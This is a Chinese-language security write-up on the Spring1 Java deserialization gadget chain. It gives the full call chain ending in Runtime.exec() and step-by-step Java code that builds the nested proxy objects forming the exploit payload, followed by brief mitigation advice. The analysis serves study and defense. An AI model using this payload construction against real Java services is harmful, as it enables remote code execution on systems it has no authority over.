Java反序列化之Spring1链分析
字数 1848 2025-08-20 18:17:41
Java反序列化漏洞分析:Spring1链详解
一、漏洞概述
Spring1链是Java反序列化漏洞中的一条经典利用链,影响以下版本:
- spring-core: 4.1.4.RELEASE
- spring-beans: 4.1.4.RELEASE
二、环境准备
依赖配置
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.1.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.1.RELEASE</version>
</dependency>
三、关键类分析
1. MethodInvokeTypeProvider
位于org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider,实现了TypeProvider接口,可序列化。
关键方法:readObject
- 调用
ReflectionUtils.findMethod(),参数为provider.getType().getClass()和methodName - 调用
ReflectionUtils.invokeMethod()反射执行找到的方法
2. ObjectFactoryDelegatingInvocationHandler
位于org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler,实现了Serializable和InvocationHandler接口。
关键特性:
- 代理时会调用
ObjectFactory的getObject方法返回实例 - 用于
Method的反射调用
3. AnnotationInvocationHandler
位于sun.reflect.annotation.AnnotationInvocationHandler。
关键特性:
- 通过
memberValues存储方法名与返回值的映射 - 代理类方法调用时,会根据方法名从
memberValues中获取返回值
四、利用链分析
完整Gadget Chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
五、详细利用步骤
1. 构造恶意TemplatesImpl
TemplatesImpl tmpl = Util.SeralizeUtil.generateTemplatesImpl();
2. 代理ObjectFactory.getObject方法
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
3. 构造ObjectFactoryDelegatingInvocationHandler
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
4. 代理Type和Templates接口
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
5. 代理TypeProvider.getType方法
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
6. 构造MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
六、漏洞触发流程
- 反序列化入口:
MethodInvokeTypeProvider.readObject() - 调用
provider.getType()触发第一个AnnotationInvocationHandler代理 ReflectionUtils.findMethod()查找newTransformer方法ReflectionUtils.invokeMethod()触发ObjectFactoryDelegatingInvocationHandler.invoke()- 调用
objectFactory.getObject()触发第二个AnnotationInvocationHandler代理 - 返回
TemplatesImpl实例并反射调用newTransformer() - 最终执行恶意代码
七、技术要点总结
-
多层代理嵌套:
- 使用
AnnotationInvocationHandler代理TypeProvider和ObjectFactory - 使用
ObjectFactoryDelegatingInvocationHandler连接两个代理层
- 使用
-
类型欺骗:
- 创建同时实现
Type和Templates接口的代理类 - 确保
getType()返回的类能找到newTransformer方法
- 创建同时实现
-
反射控制:
- 通过反射设置
MethodInvokeTypeProvider的methodName字段 - 控制方法调用的返回值链
- 通过反射设置
八、防御建议
- 升级Spring框架到安全版本
- 使用安全的反序列化机制,如白名单过滤
- 监控和限制反序列化操作